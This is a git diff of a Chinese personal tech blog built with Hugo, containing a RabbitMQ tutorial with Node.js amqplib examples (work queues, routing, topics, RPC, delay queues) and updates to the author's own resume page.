:队列,实际存储消息的地方,消费者通过订阅队列来获取队列中的消息。 Binding :绑定交换器和队列,只有绑定后消息才能被交换器分发到具体的队列中,用一个字符串来代表 Binding Key 。 消息是如何由生产者传递到消费者: 生产者 Producer 生成消息 msg ,并指定这条消息的路由键 Routing Key ,然后将消息传递给交换器 Exchange 。 交换器 Exchange 接收到消息后根据 Exchange Type 也就是交换器类型以及交换器和队列的 Binding 绑定关系来判断路由规则并分发消息到具体的队列 Queue 中。 消费者 Consumer 通过订阅具体的队列,一旦队列接收到消息便会将其传递给消费者。 这里的 Routing Key 和 Binding 我是按照自己的理解解释的,与某些参考资料是有出入的,读者理解就好。 当然完成上述三个步骤还缺少两个关键的东西: Connection :连接,不论生产者还是消费者想要使用 RabbitMQ 都必须首先建立到 RabbitMQ 的 TCP 连接。 Channel :信道,建立完 TCP 连接后还必须建立一个信道,消息都是在信道中传递和操作的。 上图形象的展示了连接和信道之间的关系,一个连接中可以建立多个信道,而且每个信道之间都是完全隔离的,同时我们需要记住的是创建和销毁 TCP 连接是很消耗资源的,而信道则不是,所以能够通过创建多个信道来隔离环境的不要通过创建多个连接。 ","date":"2018-02-27","objectID":"/rabbitmq/:1:1","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"交换器类型 交换器具有路由分发消息的作用,其有四种不同的类型,每种类型对应不同的路由规则: fanout :广播,将消息传递给所有该交换器绑定的队列。 direct :直连,将消息传递给 Routing Key 与 Binding Key完全一致的队列中,可以有多个队列。 topic :模糊匹配,Binding Key 是一个可以用符号 . 分隔单词的字符串,模糊匹配下,符号 * 用于匹配任意一个单词,符号 # 用于匹配零个或多个单词。 headers :这个比较特殊,是根据消息中具体内容的 header 属性来作为路由规则的,这种类型对资源消耗太大,一般很少使用,前面三种类型就够了。 ","date":"2018-02-27","objectID":"/rabbitmq/:1:2","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"二 ","date":"2018-02-27","objectID":"/rabbitmq/:2:0","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"流程 我们先来了解一下 RabbitMQ 的一般使用流程。 建立到 RabbitMQ 的连接。 创建信道。 声明交换器。 声明队列。 绑定交换器和队列。 消息操作。生产者:生成并发布消息;消费者:订阅并消费消息。 关闭信道。 关闭连接。 不论是生产者投递消息,还是消费者接受消息一般都遵循以上步骤,但针对具体的情况仍会有调整,比如声明交换器、声明队列、绑定交换器和队列,我们只需要在生产者或消费者其中之一进行,甚至隔离出来独立维护,只要保证在发布或消费消息之前交换器、队列、绑定等是有效的即可。 ","date":"2018-02-27","objectID":"/rabbitmq/:2:1","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Hello World 示例 第一个示例,实现基本的投递和接收消息。 生产者投递消息(send.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'hello'; const msg = 'Hello world'; await ch.assertQueue(queueName, { durable: false }); //声明队列,durable:false 不对队列持久化 ch.sendToQueue(queueName, new Buffer(msg)); //发送消息 console.log(' [x] Sent %s', msg); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })() 消费者接收消息(receive.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'hello'; await ch.assertQueue(queueName, { durable: false }); //声明队列,durable:false 不对队列持久化 console.log(\" [*] Waiting for messages in queue: %s. To exit press CTRL+C\", queueName); ch.consume(queueName, msg =\u003e { //订阅队列接受消息 console.log(\" [x] Received %s\", msg.content.toString()); }, { noAck: true }); // noAck:true 不进行确认接受应答 } catch (error) { console.log(error); } })() 对比上述流程,你会发现为什么没有交换器 Exchange 存在的身影呢?这是因为 RabbitMQ 存在一个默认交换器,类型为 direct (直连),每个新建的队列会自动绑定到默认交换器上,并且以队列的名称作为绑定路由规则。 声明队列时,同一个队列其属性前后相同时,重复声明不会有任何影响,反之其属性前后不相同时,重复声明会抛出一个错误,这种情况要注意不得重复声明,当然如果这个队列被声明有效了也不需要再次声明。 从上例中我们也了解到了队列的一个属性 durable,这个属性表明是否对队列进行持久化,也就是保存到磁盘上,一旦 RabbitMQ 服务器重启,持久化的队列可以被重新恢复。 消费者 consume 订阅接收消息时使用了另一个属性 noAck,这个属性表明消费者在接收到消息后是否需要向 RabbitMQ 服务器确认收到该消息。与之相对的是发后即忘模式,也就是 RabbitMQ 服务器向消费者发送完消息后即认为成功,无需等待消费者确认接收应答,这种模式吞吐量更高,但可靠性显然不如确认应答模式,而确认应答模式,我们需要注意的是, RabbitMQ 服务器若没有接收到 ack 确认会一直将该消息保存,如果消费者挂了就会造成消息持续堆叠不断占用内存的情况,极端情况下资源过载会造成 RabbitMQ 服务器重启,同时未被 ack 确认的消息会被尝试重新发送给消费者。 ","date":"2018-02-27","objectID":"/rabbitmq/:2:2","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Work queues 第二个示例,向多个消费者分发投递消息。 生产者投递消息(new_task.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'task_queue'; await ch.assertQueue(queueName, { durable: true }); //声明队列,durable:true 持久化队列 for (let i = 1; i \u003c 10; i++) { //生成 9 条信息并在尾部添加小数点 let msg = i.toString().padEnd(i+1, '.'); ch.sendToQueue(queueName, new Buffer(msg), { persistent: true }); //发送消息,persistent:true 将消息持久化 console.log(\" [x] Sent '%s'\", msg); } await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })() 消费者接收消息(worker.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'task_queue'; await ch.assertQueue(queueName, { durable: true }); //声明队列 ch.prefetch(1); //每次接收不超过指定数量的消息 console.log(\" [*] Waiting for messages in %s. To exit press CTRL+C\", queueName); ch.consume(queueName, msg =\u003e { const secs = msg.content.toString().split('.').length - 1; console.log(\" [x] Received %s\", msg.content.toString()); setTimeout(() =\u003e { //根据小数点的个数设置延时时长 console.log(\" [x] Done\"); ch.ack(msg); //确认接收消息 }, secs * 1000); }, { noAck: false }); //对消息需要接收确认 } catch (error) { console.log(error); } })() 我们在 shell 中运行多个 worker.js 会发现消息被一个一个分发到了不同的 worker 消费者,且同一条消息不会被重复发送给多个 worker 。 在这个示例中,我们对队列进行了持久化,并且在消费端使用了 ack 确认接收消息。发送消息时,我们使用了 persistent 属性,这个属性表明是否将消息持久化。另外,对消费者而言,还使用了 ch.prefetch() 方法,这个方法表明该消费者每次最多接收的消息数量,这样做是因为某些情况下消费消息是一个很耗时的业务操作,某些 worker 可能处于繁忙状态,而另外一些 worker 则很空闲,通过 prefetch 和 ack 其实是实现了类似于负载均衡的功能,也就是将消息分发给空闲的 worker 消费。 ","date":"2018-02-27","objectID":"/rabbitmq/:2:3","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"三 我们再来回顾一遍 RabbitMQ 的一般使用流程: 建立到 RabbitMQ 的连接。 创建信道。 声明交换器。 声明队列。 绑定交换器和队列。 消息操作。生产者:生成并发布消息;消费者:订阅并消费消息。 关闭信道。 关闭连接。 交换器 Exchange 的四种类型: fanout:广播,将消息传递给所有该交换器绑定的队列。 direct :直连,将消息传递给 Routing Key 与 Binding Key完全一致的队列中,可以有多个队列。 topic :模糊匹配,Binding Key 是一个可以用符号 . 分隔单词的字符串,模糊匹配下,符号 * 用于匹配任意一个单词,符号 # 用于匹配零个或多个单词。 headers :根据消息中具体内容的 header 属性来作为路由规则的,这种类型对资源消耗太大且很少使用,本节不对此类型进行讲述。 ","date":"2018-02-27","objectID":"/rabbitmq/:3:0","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Publish/Subscribe 此示例重点关注交换器 Exchange 的 fanout 类型。 消费者接收消息(receive_log.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'logs'; await ch.assertExchange(ex, 'fanout', { durable: false }); //声明交换器 const q = await ch.assertQueue('', { exclusive: true }); //声明队列,临时队列即用即删 console.log(\" [*] Waiting for messages in %s. To exit press CTRL+C\", q.queue); await ch.bindQueue(q.queue, ex, ''); //绑定交换器和队列,参数:队列名、交换器名、绑定键值 ch.consume(q.queue, msg =\u003e { //订阅队列接收消息 console.log(\" [x] %s\", msg.content.toString()); }, { noAck: true }); } catch (error) { console.log(error); } })() 生产者投递消息(emit_log.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'logs'; const msg = process.argv.slice(2).join(' ') || 'Hello World!'; await ch.assertExchange(ex, 'fanout', { durable: false }); //声明 exchange ,类型为 fanout ,不持久化 ch.publish(ex, '', new Buffer(msg)); //发送消息,fanout 类型无需指定 routing key console.log(\" [x] Sent %s\", msg); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })(); fanout 类型的交换器会直接将消息广播到所有与其绑定的队列,所以绑定交换器与队列时无需指定 binding key (空字符串),投递消息时也无需指定 routing key (空字符串)。 交换器与队列一样具有 durable 属性,此属性表示是否对交换器进行持久化,也就是保存到磁盘上,一旦 RabbitMQ 服务器重启,持久化的交换器可以被重新恢复。 这里在声明队列时,我们使用的是一种临时的队列,我们无需指定该队列的名称,RabbitMQ 会自动为其生成一个随机的名称,同时 exclusive 属性表明该队列是否只会被当前连接使用,也就是说连接一旦关闭则此队列也会被删除。 ","date":"2018-02-27","objectID":"/rabbitmq/:3:1","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Routing 此示例重点关注交换器 Exchange 的 direct 类型。 消费者接收消息(receive_log_direct.js): const amqp = require('amqplib'); (async () =\u003e { try { const args = process.argv.slice(2); if (args.length == 0) { console.log(\"Usage: receive_logs_direct.js [info] [warning] [error]\"); process.exit(1); } const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'direct_logs'; await ch.assertExchange(ex, 'direct', { durable: false }); //声明交换器 const q = await ch.assertQueue('', { exclusive: true }); //声明队列 console.log(' [*] Waiting for logs. To exit press CTRL+C'); args.forEach(async severity =\u003e { await ch.bindQueue(q.queue, ex, severity); //绑定交换器和队列 }); ch.consume(q.queue, msg =\u003e { //订阅队列接收消息 console.log(\" [x] %s: '%s'\", msg.fields.routingKey, msg.content.toString()); }, { noAck: true }); } catch (error) { console.log(error); } })() 生产者投递消息(emit_log_direct.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'direct_logs'; const args = process.argv.slice(2); const msg = args.slice(1).join(' ') || 'Hello World!'; const severity = (args.length \u003e 0) ? args[0] : 'info'; await ch.assertExchange(ex, 'direct', { durable: false }); //声明 exchange ,类型为 direct ch.publish(ex, severity, new Buffer(msg)); //发送消息,参数:交换器、路由键、消息内容 console.log(\" [x] Sent %s: '%s'\", severity, msg); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })(); 交换器为 direct 类型,路由规则是 routing key 与 binding key 完全一致,这就是说与上例 fanout 类型不同的是,我们必须指定绑定交换器和队列的 binding key ,投递消息时也需要指定路由的 routing key 。其余地方基本一致。 ","date":"2018-02-27","objectID":"/rabbitmq/:3:2","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Topics 此示例重点关注交换器 Exchange 的 topic 类型。 消费者接收消息(receive_log_topic.js): const amqp = require('amqplib'); (async () =\u003e { try { const args = process.argv.slice(2); if (args.length == 0) { console.log(\"Usage: receive_logs_topic.js \u003cfacility\u003e.\u003cseverity\u003e\"); process.exit(1); } const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'topic_logs'; await ch.assertExchange(ex, 'topic', { durable: false }); //声明交换器 const q = await ch.assertQueue('', { exclusive: true }); //声明队列 console.log(' [*] Waiting for logs. To exit press CTRL+C'); args.forEach(async key =\u003e { await ch.bindQueue(q.queue, ex, key); //绑定交换器和队列 }); ch.consume(q.queue, msg =\u003e { //订阅队列接收消息 console.log(\" [x] %s:'%s'\", msg.fields.routingKey, msg.content.toString()); }, { noAck: true }); } catch (error) { console.log(error); } })() 生产者投递消息(emit_log_topic.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'topic_logs'; const args = process.argv.slice(2); const key = (args.length \u003e 0) ? args[0] : 'anonymous.info'; const msg = args.slice(1).join(' ') || 'Hello World!'; await ch.assertExchange(ex, 'topic', { durable: false }); //声明交换器 ch.publish(ex, key, new Buffer(msg)); //发送消息,指定 routing key console.log(\" [x] Sent %s: '%s'\", key, msg); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })() 交换器的 topic 类型,只需注意模糊匹配的规则即可,绑定交换器和队列的 binding key 以符号 . 将字符串分隔为不同的单词(不一定是真实的单词,理解为一个部分就行了),符号 * 用于匹配任意一个单词,符号 # 用于匹配零个或多个单词。 其实你会发现本节三个示例中的大部分地方都是类似的,唯一不同的地方就是不同的交换器类型需要对 binding key 和 routing key 进行不同的处理。通过本节了解了不同的交换器类型,有助于你在此基础上进行具体的路由规则设计。 ","date":"2018-02-27","objectID":"/rabbitmq/:3:3","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"四 ","date":"2018-02-27","objectID":"/rabbitmq/:4:0","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"RPC RPC 是什么?Remote Procedure Call,远程过程调用,比如某个服务器调用另一个远程服务器上的函数或方法获取其结果,当然这种类似需求毫无疑问是可以用我们熟悉的 REST 来实现的。 使用 RabbitMQ 如何实现 RPC 的功能: 如上图所示,客户端发起请求到一个 rpc 队列,并指定一个 correlationId 作为该请求的唯一标识,且通过 reply_to 指定一个 callback 队列接收请求处理结果(这里的 callback 并不是指 node 中的回掉函数,注意区别)。服务端通过订阅指定的 rpc 队列接收到请求然后进行处理,处理完之后将结果发送到 reply_to 指定的 callback 队列中,客户端通过订阅 callback 队列获取请求结果,并通过 correlationId 对应不同的请求。 客户端示例(rpc_client.js): const amqp = require('amqplib'); (async () =\u003e { try { const args = process.argv.slice(2); if (args.length === 0) { console.log(\"Usage: rpc_client.js num\"); process.exit(1); } const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const q = await ch.assertQueue('', { exclusive: true }); //声明一个临时队列作为 callback 接收结果 const corr = generateUuid(); const num = parseInt(args[0]); console.log(' [x] Requesting fib(%d)', num); ch.consume(q.queue, async (msg) =\u003e { //订阅 callback 队列接收 RPC 结果 if (msg.properties.correlationId === corr) { //根据 correlationId 判断是否为请求的结果 console.log(' [.] Got %s', msg.content.toString()); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } }, { noAck: true }); ch.sendToQueue('rpc_queue', //发送 RPC 请求 new Buffer(num.toString()), { correlationId: corr, // correlationId 将 RPC 结果与对应的请求关联,replyTo 指定结果返回的队列 replyTo: q.queue } ); } catch (error) { console.log(error); } })(); function generateUuid() { //唯一标识 return Math.random().toString() + Math.random().toString() + Math.random().toString(); } 服务端示例(rpc_server.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const q = 'rpc_queue'; await ch.assertQueue(q, { durable: false }); //声明队列 await ch.prefetch(1); //每次最大接收消息数量 console.log(' [x] Awaiting RPC requests'); ch.consume(q, function reply(msg) { //订阅 RPC 队列接收请求 const n = parseInt(msg.content.toString()); console.log(\" [.] fib(%d)\", n); const r = fibonacci(n); //调用本地函数计算结果 ch.sendToQueue(msg.properties.replyTo, //将 RPC 请求结果发送到 callback 队列 new Buffer(r.toString()), { correlationId: msg.properties.correlationId } ); ch.ack(msg); }); } catch (error) { console.log(error); } })(); function fibonacci(n) { //时间复杂度比较高 let cache = {}; if (n === 0 || n === 1) return n; else return fibonacci(n - 1) + fibonacci(n - 2); } 上述就是一个简单的 RPC 示例。 ","date":"2018-02-27","objectID":"/rabbitmq/:4:1","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"延时队列 某些场景下我们并不希望生产者投递消息后,消费者立即就接收到消息,而是延迟一段时间,比如某个订单提交后十五分钟内未支付则自动取消这种情况就可以用延时队列。 RabbitMQ 本身并没有直接支持延时队列这个功能,我们需要简单的拐个弯间接实现: 具体流程如上图所示,生产者先将消息投递到一个死信队列中,消息在死信队列中延时,并指定 deadLetterExchange 也就是消息延时结束后重新分发到的交换器,以及 deadLetterRoutingKey,重新分发后的交换器据此将消息分发到另一个队列,消费者订阅此队列以接受消息。 交换器与队列一定是一起出现的,即使我们使用了默认交换器,在代码中无感,也要牢记它的存在。同样上图所示在延时队列中使用的两个交换器都可以为默认交换器,只要我们定义不同的绑定规则即可。 消费者接收消息示例(receive.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'delay-queue-consumer'; await ch.assertQueue(queueName, { durable: false }); //声明队列,durable:false 不对队列持久化 console.log(\" [*] Waiting for messages in queue: %s. To exit press CTRL+C\", queueName); ch.consume(queueName, msg =\u003e { //订阅队列接受消息 console.log(\" [x] Received %s\", msg.content.toString()); }, { noAck: true }); // noAck:true 不进行确认接受应答 } catch (error) { console.log(error); } })() 生产者投递消息示例(send.js): const amqp = require('amqplib'); const EventEmitter = require('events'); class MyEmitter extends EventEmitter {} const myEmitter = new MyEmitter(); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const msg = 'Hello world'; const queueName = 'delay-queue-consumer'; await ch.assertQueue(queueName, { durable: false }); //消息延时结束后会被转发到此队列,消费者直接订阅此队列即可 await ch.assertQueue('delay-queue-dead-letter', { //定义死信队列 durable: false, deadLetterExchange: '', //直接使用默认交换器 deadLetterRoutingKey: 'delay-queue-consumer', //默认交换器路由键就是队列名 messageTtl: 5000 //延时 ms }); for (let i = 0; i \u003c 5; i++) { setTimeout(() =\u003e { ch.sendToQueue('delay-queue-dead-letter', new Buffer(msg+i)); //发送消息 console.log(' [x] Sent %s', msg+i); if (i == 4) { myEmitter.emit('sent done'); } }, 5000*i) } myEmitter.on('sent done', async () =\u003e { await ch.close(); //关闭信道 await conn.close(); //关闭连接 }); } catch (error) { console.log(error); } })() 示例就写这么多,全文完。 ","date":"2018-02-27","objectID":"/rabbitmq/:4:2","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"}] \ No newline at end of file diff --git a/resume/index.xml b/resume/index.xml index 7e89799..bdb2259 100644 --- a/resume/index.xml +++ b/resume/index.xml @@ -1,4 +1,4 @@ -Resumes on 凌虚 Bloghttps://rifewang.github.io/resume/Recent content in Resumes on 凌虚 BlogHugozh-CNAttribution-NonCommercial 4.0 International (CC BY-NC 4.0)Sun, 29 Sep 2024 20:54:05 +0800个人简历https://rifewang.github.io/resume/resume/Sun, 17 Mar 2024 01:22:23 +0800https://rifewang.github.io/resume/resume/<h2 id="王颖">王颖</h2> +Resumes on 凌虚 Bloghttps://rifewang.github.io/resume/Recent content in Resumes on 凌虚 BlogHugozh-CNAttribution-NonCommercial 4.0 International (CC BY-NC 4.0)Wed, 09 Oct 2024 13:24:50 +0800个人简历https://rifewang.github.io/resume/resume/Sun, 17 Mar 2024 01:22:23 +0800https://rifewang.github.io/resume/resume/<h2 id="王颖">王颖</h2> <table> <thead> <tr> @@ -19,4 +19,5 @@ </tr> </tbody> </table> -<p>本人拥有多年研发和架构经验。主导过的互联网 SaaS 项目处理每日几千万 PV 流量、管理数十亿图片。负责研发的脑科学及医疗器械项目服务于几十家头部医院、科研机构和诊所。</p> \ No newline at end of file +<p>本人拥有多年研发和架构经验。主导过的互联网 SaaS 项目处理<strong>日均千万级</strong> PV 流量、管理<strong>数十亿</strong>图片。 +负责研发的脑科学及医疗器械项目服务于几十家头部医院、科研机构和诊所。</p> \ No newline at end of file diff --git a/resume/resume/index.html b/resume/resume/index.html index d5db71c..edd501b 100644 --- a/resume/resume/index.html +++ b/resume/resume/index.html @@ -1,5 +1,5 @@ 个人简历 - 凌虚 Blog -

个人简历

王颖

性别学历出生年份联系电话邮箱
本科1993年18772964832rifewang@gmail.com

本人拥有多年研发和架构经验。主导过的互联网 SaaS 项目处理每日几千万 PV 流量、管理数十亿图片。负责研发的脑科学及医疗器械项目服务于几十家头部医院、科研机构和诊所。

具备丰富的技术广度,涵盖 后端云原生大数据 等多项技术领域,拥有 系统架构设计师Certified Kubernetes AdministratorElastic Certified Engineer 等官方技术认证。

职场表现卓越,曾获:年度优秀个人年度创新团队 等荣誉。坚持健身与学习,自 2017 年至今一直坚持写作,微信公众号:系统架构师Go,技术社区 Segmentfault 思否 2022 和 2023 年度 Maintainer。

工作经历

优脑银河(浙江)科技有限公司 -2021.07 ~ 2023.12

前沿脑科学项目( https://app.neuralgalaxy.cn/

项目概述:针对自闭症、抑郁症、失语、运动障碍等多种脑疾病提供科研与诊疗平台,为医疗和科研机构提供患者管理、个体精准脑图谱绘制、影像数据管理、任务编排和离线在线计算、智能诊疗等服务。

项目成绩:从零到一的定制化产品成功交付某部战区总医院;科研云平台支撑了多次大规模临床试验及日常科研;疗法云软件投入商业化运作并持续迭代。

个人职责:

  • 后端 Team Leader,推进 Scrum 敏捷开发,安排团队成员的工作内容,组织产品的上线发版。
  • 负责日常后端编码,不限于接口设计、数据建模、缓存与消息队列等中间件集成、系统优化。
  • 负责系统架构设计和迭代,包含技术选型、制定架构演进方案,以及对后端团队进行技术培训。
  • 推进 DevOps 理念,负责 Kubernetes 云原生基础设施、Argo-workflows 任务编排调度引擎。

杭州又拍云科技有限公司 -2018.04 ~ 2021.04

又拍图片管家( https://x.yupoo.com

项目概述:互联网 SaaS Web 应用,为社区和商家用户提供图片视频的管理、CDN 外链加速、个性化主页展示、站内搜索、统计分析等功能。

项目成绩:在职期间注册用户数增长 6 倍,管理图片资源数量增长 5 倍,获得年度创新团队。

个人职责:

  • 负责 Web 主站的架构迭代和后端研发工作,处理每日几万级 PV 访问、管理十亿级图片资源。
  • 确保系统应对高并发等挑战,保障系统的高可用和高性能。
  • 日常编码,负责 REST API 设计实现、MySQL 数据建模、Redis 缓存、MQ 集成、系统优化。
  • 推动系统向微服务的演进,利用消息队列 NSQ / Kafka 解耦服务。
  • 基于 ElasticSearch 重构全文搜索服务与日志分析系统。

以图搜图系统

项目概述:提供相似性图像内容的快速搜索功能。

个人职责:从零探索,独立构建了以卷积神经网络和向量搜索为核心的整个系统,支撑了十亿级别的图像搜索。成为业界标杆《又拍图片管家亿级图像之搜图系统的两代演进及底层原理》

大数据处理系统

项目概述:对 Web 主站访问数据(千万PV/日)、用户图片 CDN 流量(PB/日)日志进行采集处理和统计分析。

个人职责:对于 Web 主站访问数据,实现了 kong->kafka->logstash->elasticsarch 的 ETL 过程,支撑了内部运营决策等统计分析的需求。对于用户图片 CDN 流量日志,将 Hadoop 离线计算替换为了以 ClickHouse 为核心的 OLAP 系统,完成了实时流量计费,并为终端用户提供了数据分析的能力。

财游(上海)信息技术有限公司 +

个人简历

王颖

性别学历出生年份联系电话邮箱
本科1993年18772964832rifewang@gmail.com

本人拥有多年研发和架构经验。主导过的互联网 SaaS 项目处理日均千万级 PV 流量、管理数十亿图片。 +负责研发的脑科学及医疗器械项目服务于几十家头部医院、科研机构和诊所。

具备丰富的技术广度,涵盖 后端云原生大数据 等多项技术领域,拥有 系统架构设计师KubernetesElasticSearch 等官方技术认证。

职场表现卓越,曾获:年度优秀个人年度创新团队 等荣誉。 +坚持健身、学习、写作 8 年,公众号:系统架构师Go,技术社区 Segmentfault 2022、2023 年度 Maintainer。

工作经历

优脑银河(浙江)科技有限公司 +2021.07 ~ 2023.12

前沿脑科学项目( https://app.neuralgalaxy.cn/

项目概述:针对自闭症、抑郁症、失语、运动障碍等多种脑疾病提供科研与诊疗平台,为医疗和科研机构提供患者管理、个体精准脑图谱绘制、影像数据管理、任务编排和离线在线计算、智能诊疗等服务。

项目成绩:从零到一的定制化产品成功交付某部战区总医院;科研云平台支撑了多次大规模临床试验及日常科研;疗法云软件投入商业化运作并持续迭代。

个人职责:

  • 后端 Team Leader,推进 Scrum 敏捷开发,安排团队成员的工作内容,组织产品的上线发版。
  • 日常编码,实现业务需求,包括但不限于接口设计、数据建模、缓存与消息队列等中间件集成。
  • 系统优化,深入整体架构、业务流、数据流、各组件等多角度优化系统性能。
  • 架构设计和迭代,包含技术选型、制定架构演进方案、组织技术评审、追踪并确保技术落地。
  • 关注团队成员的发展,结合公司发展方向组织对团队成员的技术培训。
  • 实施 DevOps 和云原生理念,负责 Kubernetes 云原生基础设施、Argo-workflows 任务编排调度引擎,及其它云原生周边工具。

杭州又拍云科技有限公司 +2018.04 ~ 2021.04

又拍图片管家( https://x.yupoo.com

项目概述:互联网 SaaS Web 应用,为社区和商家用户提供图片视频的管理、CDN 外链加速、个性化主页展示、站内搜索、统计分析等功能。

项目成绩:在职期间注册用户数增长 6 倍,管理图片资源数量增长 5 倍,获得年度创新团队。

个人职责:

  • 负责 Web 主站的架构迭代和后端研发工作,处理每日几万级 PV 访问、管理十亿级图片资源。
  • 确保系统应对高并发等挑战,保障系统的高可用和高性能。
  • 日常编码,负责 REST API 设计实现、MySQL 数据建模、Redis 缓存、MQ 集成、系统优化。
  • 推动系统向微服务的演进,利用消息队列 NSQ / Kafka 解耦服务。
  • 基于 ElasticSearch 重构全文搜索服务与日志分析系统。

以图搜图系统

项目概述:提供相似性图像内容的快速搜索功能。

个人职责:从零探索,并完成整个系统从无到有、从有到优的建设,独立构建了以卷积神经网络和向量搜索为核心的系统,支撑了十亿级别的图像内容搜索。此项目被广泛参考,并成为业界标杆《又拍图片管家亿级图像之搜图系统的两代演进及底层原理》

大数据处理系统

项目概述:对 Web 主站访问数据(千万PV/日)、用户图片 CDN 流量(PB/日)日志进行采集处理和统计分析。

个人职责:对于 Web 主站访问数据,实现了 kong->kafka->logstash->elasticsarch 的 ETL 过程,支撑了内部运营决策等统计分析的需求。对于用户图片 CDN 流量日志,将 Hadoop 离线计算替换为了以 ClickHouse 为核心的 OLAP 系统,完成了实时流量计费,并为终端用户提供了数据分析的能力。

财游(上海)信息技术有限公司 2017.04 ~ 2018.04

项目:财宝理财(互联网金融 P2P 项目)。

个人职责:从零将产品打造上线,负责全栈开发、系统架构、基础设施等工作。获得年度优秀个人。

武汉东浦信息技术有限公司 -2016.06 ~ 2017.04

项目:汽车保养预约服务。

个人职责:从零构建项目,负责全栈开发,成为公司模板项目。

专业技能

  • 8 年开发 5 年架构,较强的架构设计和编码能力,对高并发、高可用、高性能、分布式、微服务等有深入理解和实践。
  • 丰富的 AWS、Aliyun 公有云、自建私有云经验。
  • 擅长 Node.js、Golang,也能写 Python,语言只是工具,解决问题才是重点,经验丰富的工程师掌握一门编程语言并不是什么难事。
  • 熟悉 MySQL、Redis、MQ、Elasticsearch 等原理,具备全文搜索和日志聚合分析经验。
  • 熟悉 Kafka、ClickHouse、ELK,拥有数据仓库和大数据领域项目经验。
  • 熟悉 Linux、CNCF,理解 Docker、Kubernetes、Argo 架构及原理,Kubernetes 中文文档贡献者,熟练掌握云原生周边工具。
  • 熟悉计算机视觉、Milvus 等向量搜索,理解 AI 原理并日常使用以提升效率。
  • 具备技术团队管理经验,拥有 Scrum 敏捷开发、DevOps 等实践经验。
\ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml index ee30aea..4b6cf38 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -1 +1 @@ 